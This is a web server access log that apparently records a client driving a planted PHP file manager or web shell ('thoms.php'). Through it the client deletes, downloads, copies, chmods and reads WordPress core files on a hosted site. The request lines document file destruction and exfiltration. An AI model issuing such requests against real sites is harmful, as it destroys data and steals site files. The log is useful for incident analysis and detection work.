45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /big-wife.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /big-wife.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:33 -0400] "GET /thoms.php?del=taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?del=class-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59361 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /big-wife.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?dl=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?dl=template-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59335 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:34 -0400] "GET /thoms.php?del=update.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=update.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:35 -0400] "GET /thoms.php?del=ai-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:35 -0400] "GET /big-wife.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:35 -0400] "GET /thoms.php?del=pluggable.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /big-wife.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcapabilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcapabilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13831 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15572 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbookmark.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbookmark.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12437 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59342 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:36 -0400] "GET /thoms.php?del=embed-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29331 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:37 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:37 -0400] "GET /thoms.php?dl=http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:37 -0400] "GET /thoms.php?del=post-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:37 -0400] "GET /thoms.php?chmod=class-requests.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcron.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcron.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?chmod=deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14635 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?chmod=php-ai-client&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?del=media.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=media.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18366 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:38 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ficons.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ficons.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Foption.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Foption.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14906 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18199 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?del=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:39 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95663 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 18928 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?del=rss-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59517 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /big-wife.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?dl=block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /big-wife.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?chmod=certificates&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:40 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?del=build&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59408 "http://163.245.207.76:443/thoms.php?del=build&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12103 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18038 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /big-wife.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24460 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?chmod=rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:41 -0400] "GET /thoms.php?dl=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
